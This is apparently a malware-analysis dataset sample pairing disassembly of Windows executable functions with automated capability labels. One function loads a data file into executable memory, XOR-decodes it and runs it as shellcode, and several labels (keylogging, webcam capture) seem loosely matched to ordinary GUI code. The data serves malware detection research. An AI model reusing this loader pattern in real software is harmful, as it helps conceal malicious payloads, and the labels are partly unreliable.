joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450695
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4507ad
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4507ad
mov eax, dword [esi + 0x3c]
push eax
call fcn.004913de
mov esi, eax
test esi, esi
je 0x4507ad
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4507ad
mov ecx, esi
call fcn.00450600
cmp edi, eax
jge 0x4507ad
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x450733
mov dword [esp + 0x34], 1
jmp 0x45078e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4507ad
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044fbf0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x455510
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x8c
lea eax, [esp]
push esi
push eax
push 1
push 0
push str.Control_PanelDesktop
push reloc.WS2_32.dll_accept
mov esi, 3
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x455583
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.WheelScrollLines
push ecx
mov dword [esp + 0x20], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x455578
push 0xa
lea edx, [esp + 0x14]
push eax
push edx
call fcn.0048052d
add esp, 0xc
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x8c
ret
Function at 0x4664e0
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x4a25d6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x4d7094]
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], eax
lea ecx, [esp + 8]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xac], ebx
call fcn.00491d81
cmp dword [0x500134], ebx
je 0x466550
lea ecx, [esp + 8]
mov dword [esp + 0xa8], 0xffffffff
call fcn.0048f974
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
add esp, 0xa4
ret
mov edx, dword [0x4d7094]
push ebp
push edi
mov edi, 1
mov dword [0x500134], edi
mov dword [esp + 0x40], edx
cmp esi, ebx
mov byte [esp + 0xb0], 1
jne 0x466579
mov dword [esp + 0x20], ebx
jmp 0x466580
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x20], eax
mov ecx, esi
call fcn.00493ed2
mov ecx, dword [esi + 0x84]
mov edx, dword [esi + 0x88]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], 5
mov dword [esp + 0x34], edx
call fcn.0048fa61
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x1c], edx
jne 0x4665de
mov dword [esp + 0x14], ebx
jmp 0x4665e5
mov ebp, dword [eax + 0x1c]
mov dword [esp + 0x14], ebp
cmp ecx, 0xd
jne 0x4665ff
mov eax, dword [eax + 0x3c4]
cmp eax, edi
je 0x4665f9
cmp eax, 2
jne 0x4665ff
mov dword [esp + 0x18], edi
jmp 0x466603
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x466611
push edx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.004913b7
mov edi, eax
cmp edi, ebx
jne 0x466621
xor eax, eax
jmp 0x466624
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x46664c
mov ecx, esi
call fcn.00493ed2
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov esi, dword [esp + 0x1c]
push esi
call ebx
test eax, eax
je 0x466664
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x18]
mov dword [0x500134], 0
test eax, eax
je 0x46668d
mov esi, dword [esp + 0x14]
push esi
call ebx
test eax, eax
je 0x46668d
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x40]
mov byte [esp + 0xb0], 0
call fcn.0048f974
lea ecx, [esp + 0x10]
mov dword [esp + 0xb0], 0xffffffff
call fcn.0048f974
mov ecx, dword [esp + 0xa8]
pop edi
pop ebp
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x4685a0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4a27c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004965b8
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov ecx, esi
mov dword [esp + 0x44], 0
call fcn.004684e0
mov ecx, dword [esi + 0x174]
mov eax, dword [esi + 0x178]
add ecx, 0x64
add eax, 0x64
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004964e6
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x468667
cmp dword [esp + 0x40], 1
jne 0x468665
cmp ecx, eax
jge 0x468667
mov eax, ecx
cmp eax, 0x12c
jge 0x468673
mov eax, 0x12c
mov ecx, esi
mov dword [esi + 0x194], eax
mov dword [esi + 0x1dc], 1
call fcn.004686c0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0049662a
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x46c8d0
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x4a2cb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x4d7094]
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xb0], ebx
call fcn.00491d81
mov edx, dword [0x4d7094]
mov dword [esp + 0x3c], edx
cmp esi, ebx
mov byte [esp + 0xac], 1
jne 0x46c92a
mov dword [esp + 0x1c], ebx
jmp 0x46c931
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x1c], eax
push edi
mov ecx, esi
call fcn.00493ed2
mov ecx, dword [esi + 0x3c]
mov edx, dword [esi + 0x40]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov edi, 1
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], edi
mov dword [esp + 0x34], edx
call fcn.0048fa61
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x1c], ecx
jne 0x46c982
mov dword [esp + 0x14], ebx
jmp 0x46c989
mov edx, dword [eax + 0x1c]
mov dword [esp + 0x14], edx
cmp dword [esi + 0x44], 0xd
jne 0x46c9a4
mov eax, dword [eax + 0x3c4]
cmp eax, edi
je 0x46c99e
cmp eax, 2
jne 0x46c9a4
mov dword [esp + 0x18], edi
jmp 0x46c9a8
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x46c9b6
push ecx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.004913b7
mov edi, eax
cmp edi, ebx
jne 0x46c9c6
xor eax, eax
jmp 0x46c9c9
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x46c9f1
mov ecx, esi
call fcn.00493ed2
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov eax, dword [esp + 0x1c]
push eax
call ebx
test eax, eax
pop edi
je 0x46ca0d
mov ecx, dword [esi + 0x1c]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x46ca2c
mov esi, dword [esp + 0x10]
push esi
call ebx
test eax, eax
je 0x46ca2c
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x3c]
mov byte [esp + 0xac], 0
call fcn.0048f974
lea ecx, [esp + 0xc]
mov dword [esp + 0xac], 0xffffffff
call fcn.0048f974
mov ecx, dword [esp + 0xa4]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x475240
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x13c]
push edi
test eax, eax
jle 0x47528c
mov eax, dword [ebx + 0x140]
test eax, eax
jle 0x47528c
mov ebp, dword [sym.imp.USER32.dll_GetKeyState]
xor esi, esi
lea edi, [ebx + 0x150]
mov eax, dword [edi]
test eax, eax
je 0x475276
push eax
call ebp
test ax, ax
jl 0x475284
inc esi
add edi, 4
cmp esi, 6
jb 0x475268
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
mov ecx, ebx
call fcn.00474f40
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x478d60
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x478dc0
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x478dc0
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x478dc0
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x478dc0
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x478dd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x47a460
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x47a4c6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x47a4c6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x47a4a7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x47a850
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x47a888
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x47b510
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x47b559
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x47b9d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a3790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0047b580
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0047b600
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0047b600
lea ecx, [esi + 0xc]
call fcn.0048f8ff
lea ecx, [esi + 0x10]
call fcn.0048f8ff
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0047cb90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0047cb90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0047cb90
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0048f974
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0048f974
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x491d81
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x491db9
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0048fdcf
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0048fda7
jmp 0x491dc5
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4935fe
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x493640
call fcn.00499fe6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x493640
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x493637
xor eax, eax
jmp 0x493648
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049364e
pop edi
pop esi
pop ebx
ret 4

Function at 0x49a516
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49a544
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49a562
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049a47c
jmp 0x49a562
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49a562
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049a47c
test edi, edi
mov eax, edi
jne 0x49a54c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x49ce24
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call edi
test ax, ax
jge 0x49ce4c
or dword [esi + 0x38], 1
or dword [esi + 0x34], 2
jmp 0x49ce5d
push 2
call edi
test ax, ax
jge 0x49ce5d
or dword [esi + 0x38], 2
or dword [esi + 0x34], 1
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
push dword [eax + 0x1c]
call dword [sym.imp.USER32.dll_SetCapture]
push eax
call fcn.004913b7
cmp dword [esi + 0x30], ebx
jne 0x49cf37
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebx, 0x100
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call fcn.004913b7
cmp eax, dword [esp + 0x34]
jne 0x49cf37
push 1
push 0x209
push 0x200
lea eax, [esp + 0x20]
push 0
push eax
call edi
test eax, eax
jne 0x49ced3
push 1
push 0x108
push ebx
push eax
lea eax, [esp + 0x24]
push eax
call edi
test eax, eax
je 0x49cf18
mov eax, dword [esp + 0x18]
cmp eax, 0x202
je 0x49cf37
cmp eax, 0x205
je 0x49cf37
cmp eax, 0x201
je 0x49cf37
cmp eax, 0x204
je 0x49cf37
cmp eax, ebx
jne 0x49cefe
cmp dword [esp + 0x1c], 0x1b
je 0x49cf37
push dword [esp + 0x2c]
lea eax, [esi + 0x20]
push dword [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x30], eax
call ebp
sub eax, dword [esp + 0x10]
cmp eax, dword [0x52667c]
jbe 0x49cf2d
mov dword [esi + 0x30], 1
cmp dword [esi + 0x30], 0
je 0x49ce90
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [esi + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
sub esp, 0x98
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.kernel32.dll
call esi
push str.IsWow64Process
push eax
mov dword [0x403038], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40103a
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 8], 2
jge 0x401058
call fcn.004015c0
push 0
call esi
lea edx, [esp + 0x5c]
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
push 0x64
push esi
mov dword [esp + 0x20], 0
call edi
push 0x64
push esi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x3c], str.notarial_notorious
mov dword [esp + 0x14], 0x30
mov dword [esp + 0x34], 6
mov dword [esp + 0x1c], 0x4011b0
mov dword [esp + 0x18], 0
mov dword [esp + 0x28], esi
call edi
push 0x7f00
push 0
mov dword [esp + 0x40], eax
mov dword [esp + 0x38], 0xb
mov dword [esp + 0x24], 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x28], eax
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x4010fa
xor byte [section..data], 0x92
pop edi
xor eax, eax
pop esi
add esp, 0x98
ret 0x10
push 0
push esi
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Perishables__bobsleigh_courthouses
push str.notarial_notorious
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
je 0x4010ed
test byte [esp + 0x88], 1
movzx eax, word [esp + 0x8c]
jne 0x40114c
mov eax, 0xa
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea ecx, [esp + 0x4c]
push ecx
call esi
test eax, eax
je 0x4011a0
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
nop
lea edx, [esp + 0x44]
push edx
call edi
lea eax, [esp + 0x44]
push eax
call ebx
push 0
push 0
push 0
lea ecx, [esp + 0x50]
push ecx
call esi
test eax, eax
jne 0x401180
pop ebx
mov eax, dword [esp + 0x48]
pop edi
pop esi
add esp, 0x98
ret 0x10

Function at 0x401500
Capabilities:
Terminate process

Disassembly:
sub esp, 0x54
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
mov esi, eax
lea eax, [esp + 0xc]
push eax
push 0x400
push esi
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [esp + 4]
push ecx
push esi
push str.stereoscopic.dat
lea edx, [esp + 0x14]
push str._s_failed_with_error__d:__s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push str.Error
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4015c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ecx, 0x53a0000
xor eax, eax
lea edx, [eax - 0x2ef38]
imul edx, ecx
imul edx, edx, 0x37b00000
sub edx, 0x1f820000
inc eax
cmp eax, 0x2ef38
mov ecx, edx
jl 0x4015d0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.stereoscopic.dat
lea ebx, [ecx + 0x1f8200f3]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40161e
call fcn.00401500
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
push eax
push 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0xc]
mov esi, eax
push 0
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x21752
lea ecx, [ecx]
xor byte [eax + esi], bl
inc eax
cmp eax, 0x217c2
jl 0x401660
dec byte [section..data]
xor bl, 0x6d
mov byte [esi + 0x2135e], bl
dec dword [ebp - 4]
mov dword [esi + 0x2135f], esi
mov dword [esi + 0x21356], 0x21a22
mov dword [esi + 0x2135a], 0x26b08
mov eax, dword [ebp - 8]
add eax, 0x21752
mov ebx, dword [ebp - 8]
add ebx, 0x21356
push ebx
call eax
mov edx, dword [0x403038]
dec byte [0x403001]
lea eax, [esi + 0x22908]
mov dword [esi + 0x21a79], edx
mov dword [esi + 0x21a75], eax
mov eax, dword [ebp - 8]
add eax, 0x21b2e
mov ebx, dword [ebp - 8]
add ebx, 0x21a75
push ebx
call eax
pop edi
pop esi
mov dword [0x403048], 0x93
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401afc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403020]
jne 0x401b06
repz ret
jmp fcn.00401dad
Function at 0x40da00
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48609b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047a6fe
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40da82
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047851e
mov eax, dword [eax]
push 0x591224
push eax
call fcn.00458294
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047a989
test bl, bl
je 0x40da82
push 0x591224
lea ecx, [esp + 0xc]
call fcn.0047ad19
push 0x594d9c
lea ecx, [esp + 0xc]
call fcn.0047ad19
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40dabe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047a989
jmp 0x40db89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40db42
lea edx, [esp + 0x7c]
push 0x594d98
push edx
call fcn.00458294
add esp, 8
test eax, eax
je 0x40db42
lea eax, [esp + 0x7c]
push 0x594d94
push eax
call fcn.00458294
add esp, 8
test eax, eax
je 0x40db42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40dad2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047a989
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e380
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e3e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc